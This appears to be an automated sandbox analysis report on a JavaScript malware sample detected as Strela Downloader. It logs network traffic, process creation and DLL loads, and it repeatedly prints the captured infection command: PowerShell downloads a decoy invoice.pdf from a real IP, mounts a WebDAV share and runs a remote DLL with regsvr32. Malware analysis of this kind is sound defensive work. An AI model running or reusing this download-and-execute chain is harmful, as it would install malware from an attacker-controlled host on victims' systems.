26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1258745522.000001499C85D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.r
Source: net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Rro3
Source: net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/fr
Source: net.exe, 0000000D.00000002.1323113437.0000029A3BFF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/iRX3
Source: net.exe, 0000000D.00000002.1323113437.0000029A3BFF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000010.00000002.2561180282.000002727C2BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.15.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.16.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.16.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.15.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000010.00000003.1321226556.000002727DA00000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.16.dr, edb.log.16.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.16.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.11.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5952, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 190731319210776809.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1412:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_an2n3mvy.pti.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 190731319210776809.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\190731319210776809.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1596,i,2795707105718791194,16913054232841068214,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1596,i,2795707105718791194,16913054232841068214,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
